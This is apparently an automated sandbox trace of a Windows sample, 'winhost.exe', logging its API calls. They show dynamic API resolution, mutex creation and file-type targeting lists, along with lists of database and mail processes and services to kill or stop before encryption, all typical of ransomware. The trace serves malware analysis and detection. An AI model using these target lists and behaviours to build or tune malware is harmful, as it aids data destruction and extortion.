# Flog Txt Version 1 # Analyzer Version: 3.2.1 # Analyzer Build Date: Feb 5 2020 10:35:20 # Log Creation Date: 11.02.2020 10:47:18.564 Process: id = "1" image_name = "winhost.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\winhost.exe" page_root = "0x3485f000" os_pid = "0xac0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x444" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\winhost.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0xad0 [0043.454] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76e10000 [0043.455] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0043.455] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleW") returned 0x76e234b0 [0043.456] GetProcAddress (hModule=0x76e10000, lpProcName="FindNextFileW") returned 0x76e254ee [0043.456] GetProcAddress (hModule=0x76e10000, lpProcName="FindClose") returned 0x76e24442 [0043.456] GetProcAddress (hModule=0x76e10000, lpProcName="MoveFileW") returned 0x76e39af0 [0043.456] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileSizeEx") returned 0x76e259e2 [0043.456] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameW") returned 0x76e24950 [0043.456] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileAttributesW") returned 0x76e21b18 [0043.456] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0043.456] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineW") returned 0x76e25223 [0043.456] GetProcAddress (hModule=0x76e10000, lpProcName="GetComputerNameW") returned 0x76e2dd0e [0043.456] GetProcAddress (hModule=0x76e10000, lpProcName="GetComputerNameA") returned 0x76e3b6e0 [0043.457] GetProcAddress (hModule=0x76e10000, lpProcName="CreateMutexW") returned 0x76e2424c [0043.457] GetProcAddress (hModule=0x76e10000, lpProcName="lstrlenW") returned 0x76e21700 [0043.457] GetProcAddress (hModule=0x76e10000, lpProcName="lstrlenA") returned 0x76e25a4b [0043.457] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0043.457] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObject") returned 0x76e21136 [0043.457] GetProcAddress (hModule=0x76e10000, lpProcName="GetLogicalDrives") returned 0x76e25371 [0043.457] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount") returned 0x76e2110c [0043.457] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteFileW") returned 0x76e289b3 [0043.457] GetProcAddress (hModule=0x76e10000, lpProcName="WideCharToMultiByte") returned 0x76e2170d [0043.457] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76e21916 [0043.458] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0043.458] GetProcAddress (hModule=0x76e10000, lpProcName="LeaveCriticalSection") returned 0x77342270 [0043.458] GetProcAddress (hModule=0x76e10000, lpProcName="ReadFile") returned 0x76e23ed3 [0043.458] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0043.458] GetProcAddress (hModule=0x76e10000, lpProcName="OpenMutexW") returned 0x76e25151 [0043.458] GetProcAddress (hModule=0x76e10000, lpProcName="EnterCriticalSection") returned 0x773422b0 [0043.458] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForMultipleObjects") returned 0x76e24220 [0043.458] GetProcAddress (hModule=0x76e10000, lpProcName="lstrcmpiW") returned 0x76e3d5cd [0043.458] GetProcAddress (hModule=0x76e10000, lpProcName="lstrcmpiA") returned 0x76e23e8e [0043.458] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteCriticalSection") returned 0x773545f5 [0043.458] GetProcAddress (hModule=0x76e10000, lpProcName="ReleaseMutex") returned 0x76e2111e [0043.458] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0043.458] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersion") returned 0x76e24467 [0043.459] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThread") returned 0x76e234d5 [0043.459] GetProcAddress (hModule=0x76e10000, lpProcName="ExpandEnvironmentStringsW") returned 0x76e24173 [0043.459] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0043.459] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceFrequency") returned 0x76e241f0 [0043.459] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0043.459] GetProcAddress (hModule=0x76e10000, lpProcName="SetFileAttributesW") returned 0x76e3d4f7 [0043.459] GetProcAddress (hModule=0x76e10000, lpProcName="GetVolumeInformationW") returned 0x76e3c860 [0043.459] GetProcAddress (hModule=0x76e10000, lpProcName="WriteFile") returned 0x76e21282 [0043.459] GetProcAddress (hModule=0x76e10000, lpProcName="SetFilePointerEx") returned 0x76e3c807 [0043.459] GetProcAddress (hModule=0x76e10000, lpProcName="SetEndOfFile") returned 0x76e3ce2e [0043.459] GetProcAddress (hModule=0x76e10000, lpProcName="FindFirstFileW") returned 0x76e24435 [0043.459] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcessHeap") returned 0x76e214e9 [0043.460] GetProcAddress (hModule=0x76e10000, lpProcName="HeapReAlloc") returned 0x77361f6e [0043.460] GetProcAddress (hModule=0x76e10000, lpProcName="HeapAlloc") returned 0x7734e026 [0043.460] GetProcAddress (hModule=0x76e10000, lpProcName="HeapFree") returned 0x76e214c9 [0043.460] GetProcAddress (hModule=0x76e10000, lpProcName="CreatePipe") returned 0x76ea415b [0043.460] GetProcAddress (hModule=0x76e10000, lpProcName="SetHandleInformation") returned 0x76e3195c [0043.460] GetProcAddress (hModule=0x76e10000, lpProcName="CreateProcessW") returned 0x76e2103d [0043.460] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringW") returned 0x76e23bca [0043.460] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringA") returned 0x76e23c5a [0043.460] GetProcAddress (hModule=0x76e10000, lpProcName="OpenProcess") returned 0x76e21986 [0043.460] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0043.460] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTime") returned 0x76e25a96 [0043.461] GetProcAddress (hModule=0x76e10000, lpProcName="SystemTimeToFileTime") returned 0x76e25a7e [0043.461] GetProcAddress (hModule=0x76e10000, lpProcName="GetLastError") returned 0x76e211c0 [0043.461] GetProcAddress (hModule=0x76e10000, lpProcName="CreateToolhelp32Snapshot") returned 0x76e4735f [0043.461] GetProcAddress (hModule=0x76e10000, lpProcName="Process32NextW") returned 0x76e4896c [0043.461] GetProcAddress (hModule=0x76e10000, lpProcName="Process32FirstW") returned 0x76e48baf [0043.461] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x754b0000 [0046.857] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyExW") returned 0x754c468d [0046.858] GetProcAddress (hModule=0x754b0000, lpProcName="RegQueryValueExW") returned 0x754c46ad [0046.858] GetProcAddress (hModule=0x754b0000, lpProcName="RegSetValueExW") returned 0x754c14d6 [0046.858] GetProcAddress (hModule=0x754b0000, lpProcName="RegCloseKey") returned 0x754c469d [0046.858] GetProcAddress (hModule=0x754b0000, lpProcName="OpenProcessToken") returned 0x754c4304 [0046.859] GetProcAddress (hModule=0x754b0000, lpProcName="GetTokenInformation") returned 0x754c431c [0046.859] GetProcAddress (hModule=0x754b0000, lpProcName="OpenSCManagerW") returned 0x754bca64 [0046.859] GetProcAddress (hModule=0x754b0000, lpProcName="OpenServiceW") returned 0x754bca4c [0046.859] GetProcAddress (hModule=0x754b0000, lpProcName="CloseServiceHandle") returned 0x754c369c [0046.859] GetProcAddress (hModule=0x754b0000, lpProcName="ControlService") returned 0x754d7144 [0046.859] GetProcAddress (hModule=0x754b0000, lpProcName="QueryServiceStatus") returned 0x754c2a86 [0046.859] GetProcAddress (hModule=0x754b0000, lpProcName="EnumDependentServicesW") returned 0x754b1e3a [0046.859] GetProcAddress (hModule=0x754b0000, lpProcName="EnumServicesStatusExW") returned 0x754bb466 [0046.859] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76780000 [0049.676] GetProcAddress (hModule=0x76780000, lpProcName="SystemParametersInfoW") returned 0x767990d3 [0049.676] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x75670000 [0053.355] GetProcAddress (hModule=0x75670000, lpProcName="ShellExecuteExW") returned 0x75691e46 [0053.355] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77320000 [0053.355] GetProcAddress (hModule=0x77320000, lpProcName="NtQuerySystemInformation") returned 0x7733fda0 [0053.355] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x74570000 [0053.591] GetProcAddress (hModule=0x74570000, lpProcName="WNetCloseEnum") returned 0x74572dd6 [0053.591] GetProcAddress (hModule=0x74570000, lpProcName="WNetOpenEnumW") returned 0x74572f06 [0053.591] GetProcAddress (hModule=0x74570000, lpProcName="WNetEnumResourceW") returned 0x74573058 [0053.592] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x75360000 [0053.949] GetProcAddress (hModule=0x75360000, lpProcName="WSAStartup") returned 0x75363ab2 [0053.949] GetProcAddress (hModule=0x75360000, lpProcName="socket") returned 0x75363eb8 [0053.950] GetProcAddress (hModule=0x75360000, lpProcName="send") returned 0x75366f01 [0053.950] GetProcAddress (hModule=0x75360000, lpProcName="recv") returned 0x75366b0e [0053.950] GetProcAddress (hModule=0x75360000, lpProcName="connect") returned 0x75366bdd [0053.950] GetProcAddress (hModule=0x75360000, lpProcName="closesocket") returned 0x75363918 [0053.950] GetProcAddress (hModule=0x75360000, lpProcName="gethostbyname") returned 0x75377673 [0053.950] GetProcAddress (hModule=0x75360000, lpProcName="inet_addr") returned 0x7536311b [0053.950] GetProcAddress (hModule=0x75360000, lpProcName="ntohl") returned 0x75362d57 [0053.950] GetProcAddress (hModule=0x75360000, lpProcName="htonl") returned 0x75362d57 [0053.950] GetProcAddress (hModule=0x75360000, lpProcName="htons") returned 0x75362d8b [0053.951] GetProcessHeap () returned 0x4c0000 [0053.951] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x20) returned 0x4d40d0 [0053.951] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdb8 | out: lpPerformanceCount=0x18fdb8*=19507934436) returned 1 [0053.951] GetTickCount () returned 0x1156855 [0053.951] GetCurrentProcessId () returned 0xac0 [0053.956] GetTickCount () returned 0x1156855 [0053.956] GetTickCount () returned 0x1156855 [0053.956] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x20) returned 0x4d40f8 [0053.956] GetVersion () returned 0x1db10106 [0053.956] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x7) returned 0x4c36b8 [0053.956] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x4d0bd8 [0053.956] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d0bd8, Size=0x20) returned 0x4d4148 [0053.957] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d4148, Size=0x40) returned 0x4d46b8 [0053.957] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xfffe) returned 0x4d4908 [0053.958] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_I28474A") returned 0x0 [0053.959] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_I28474A") returned 0x84 [0053.959] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4c36b8 | out: hHeap=0x4c0000) returned 1 [0053.960] lstrlenW (lpString="Global\\syncronize_") returned 18 [0053.960] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4d46b8 | out: hHeap=0x4c0000) returned 1 [0053.960] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x7) returned 0x4c36b8 [0053.960] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x4d0bd8 [0053.960] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d0bd8, Size=0x20) returned 0x4d4148 [0053.960] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d4148, Size=0x40) returned 0x4d46b8 [0053.960] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xfffe) returned 0x4e4910 [0053.961] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_I28474U") returned 0x0 [0053.961] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_I28474U") returned 0x88 [0053.962] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4c36b8 | out: hHeap=0x4c0000) returned 1 [0053.962] lstrlenW (lpString="Global\\syncronize_") returned 18 [0053.962] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4d46b8 | out: hHeap=0x4c0000) returned 1 [0053.962] GetVersion () returned 0x1db10106 [0053.962] GetCurrentProcess () returned 0xffffffff [0053.962] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fda4 | out: TokenHandle=0x18fda4*=0x8c) returned 1 [0053.962] GetTokenInformation (in: TokenHandle=0x8c, TokenInformationClass=0x14, TokenInformation=0x18fda0, TokenInformationLength=0x4, ReturnLength=0x18fdac | out: TokenInformation=0x18fda0, ReturnLength=0x18fdac) returned 1 [0053.963] CloseHandle (hObject=0x8c) returned 1 [0054.038] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x0 [0054.038] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x3e8) returned 0x0 [0054.038] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x14) returned 0x4c36b8 [0054.038] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x4d0bd8 [0054.038] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d0bd8, Size=0x20) returned 0x4d4148 [0054.038] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d4148, Size=0x40) returned 0x4d46b8 [0054.038] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d46b8, Size=0x80) returned 0x4d46b8 [0054.038] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d46b8, Size=0x100) returned 0x4d46b8 [0054.039] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x34) returned 0x4d47c0 [0054.039] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x4) returned 0x4d07c8 [0054.039] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x4) returned 0x4d07d8 [0054.039] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x8) returned 0x4d07e8 [0054.039] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x4d0bd8 [0054.039] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x4) returned 0x4d4800 [0054.039] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4d0bf0 [0054.039] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d4800, Size=0x8) returned 0x4d4800 [0054.039] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x4d0c08 [0054.039] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d4800, Size=0x10) returned 0x4d4800 [0054.039] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4d0c20 [0054.039] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4d0c38 [0054.040] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d4800, Size=0x20) returned 0x4d4800 [0054.040] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x4d0c50 [0054.040] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4d0c68 [0054.040] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d07c8, Size=0x8) returned 0x4d07c8 [0054.040] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d07d8, Size=0x8) returned 0x4d07d8 [0054.040] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x8) returned 0x4d4828 [0054.040] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x4d0c80 [0054.040] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x4) returned 0x4d4838 [0054.040] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4d0c98 [0054.040] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d4838, Size=0x8) returned 0x4d4838 [0054.041] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f4930 [0054.041] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d4838, Size=0x10) returned 0x4d4838 [0054.041] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f4948 [0054.041] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x8) returned 0x4d4850 [0054.041] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d4838, Size=0x20) returned 0x4d4860 [0054.041] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d07c8, Size=0x10) returned 0x4d4838 [0054.042] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d07d8, Size=0x10) returned 0x4d4888 [0054.042] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x8) returned 0x4d07c8 [0054.042] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x4f4960 [0054.042] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x4) returned 0x4d07d8 [0054.042] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f4978 [0054.042] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d07d8, Size=0x8) returned 0x4d07d8 [0054.042] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x8) returned 0x4d48a0 [0054.042] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x4f4990 [0054.042] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x4) returned 0x4d48b0 [0054.042] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f49a8 [0054.042] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d48b0, Size=0x8) returned 0x4d48b0 [0054.042] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d4838, Size=0x20) returned 0x4f4d18 [0054.043] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d4888, Size=0x20) returned 0x4f4d40 [0054.043] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x8) returned 0x4d4888 [0054.043] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x4f49c0 [0054.043] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x4) returned 0x4d4838 [0054.043] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x4f49d8 [0054.043] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d4838, Size=0x8) returned 0x4d4838 [0054.043] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x14) returned 0x4f4d68 [0054.043] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x14) returned 0x4f4d88 [0054.043] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0054.043] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4d46b8 | out: hHeap=0x4c0000) returned 1 [0054.044] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x18fdf0 | out: lpWSAData=0x18fdf0) returned 0 [0054.077] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x4f49f0 [0054.077] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f49f0, Size=0x20) returned 0x4d4350 [0054.077] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d4350, Size=0x40) returned 0x4d4710 [0054.077] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d4710, Size=0x80) returned 0x4d4710 [0054.077] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d4710, Size=0x100) returned 0x4f5060 [0054.077] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x4f49f0 [0054.077] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f49f0, Size=0x20) returned 0x4d4350 [0054.077] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d4350, Size=0x40) returned 0x4d4710 [0054.077] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d4710, Size=0x80) returned 0x4d4710 [0054.077] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d4710, Size=0x100) returned 0x4f5168 [0054.077] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x4f49f0 [0054.078] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x4) returned 0x4d4710 [0054.078] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x4f4a08 [0054.078] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d4710, Size=0x8) returned 0x4d4710 [0054.078] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x14) returned 0x4d4720 [0054.078] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d4710, Size=0x10) returned 0x4d4740 [0054.078] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x18) returned 0x4d4758 [0054.078] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x1a) returned 0x4d4350 [0054.078] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d4740, Size=0x20) returned 0x4d4778 [0054.078] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x1c) returned 0x4d4378 [0054.078] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x16) returned 0x4d47a0 [0054.078] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x1a) returned 0x4d43a0 [0054.078] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x4f4a20 [0054.079] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x4) returned 0x4d4710 [0054.079] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x40) returned 0x4f5270 [0054.079] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d4710, Size=0x8) returned 0x4d4710 [0054.079] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x3c) returned 0x4f52b8 [0054.079] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d4710, Size=0x10) returned 0x4d4740 [0054.079] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x14) returned 0x4f5300 [0054.079] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x18) returned 0x4f5320 [0054.079] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d4740, Size=0x20) returned 0x4f5340 [0054.079] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x24) returned 0x4f5368 [0054.079] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0054.079] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4f5060 | out: hHeap=0x4c0000) returned 1 [0054.079] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0054.079] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4f5168 | out: hHeap=0x4c0000) returned 1 [0054.080] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4f58e8 [0054.098] EnumServicesStatusExW (in: hSCManager=0x4f58e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 0 [0054.102] GetLastError () returned 0xea [0054.102] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x134c) returned 0x4f91e8 [0054.102] EnumServicesStatusExW (in: hSCManager=0x4f58e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4f91e8, cbBufSize=0x134c, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4f91e8, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 1 [0054.106] CloseServiceHandle (hSCObject=0x4f58e8) returned 1 [0054.115] lstrlenW (lpString="Appinfo") returned 7 [0054.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0054.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0054.115] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0054.115] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0054.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0054.116] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0054.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0054.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0054.116] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0054.116] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0054.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0054.116] lstrlenW (lpString="AudioSrv") returned 8 [0054.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0054.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0054.116] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0054.116] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0054.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0054.116] lstrlenW (lpString="BFE") returned 3 [0054.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0054.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0054.117] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0054.117] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0054.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0054.117] lstrlenW (lpString="CryptSvc") returned 8 [0054.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0054.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 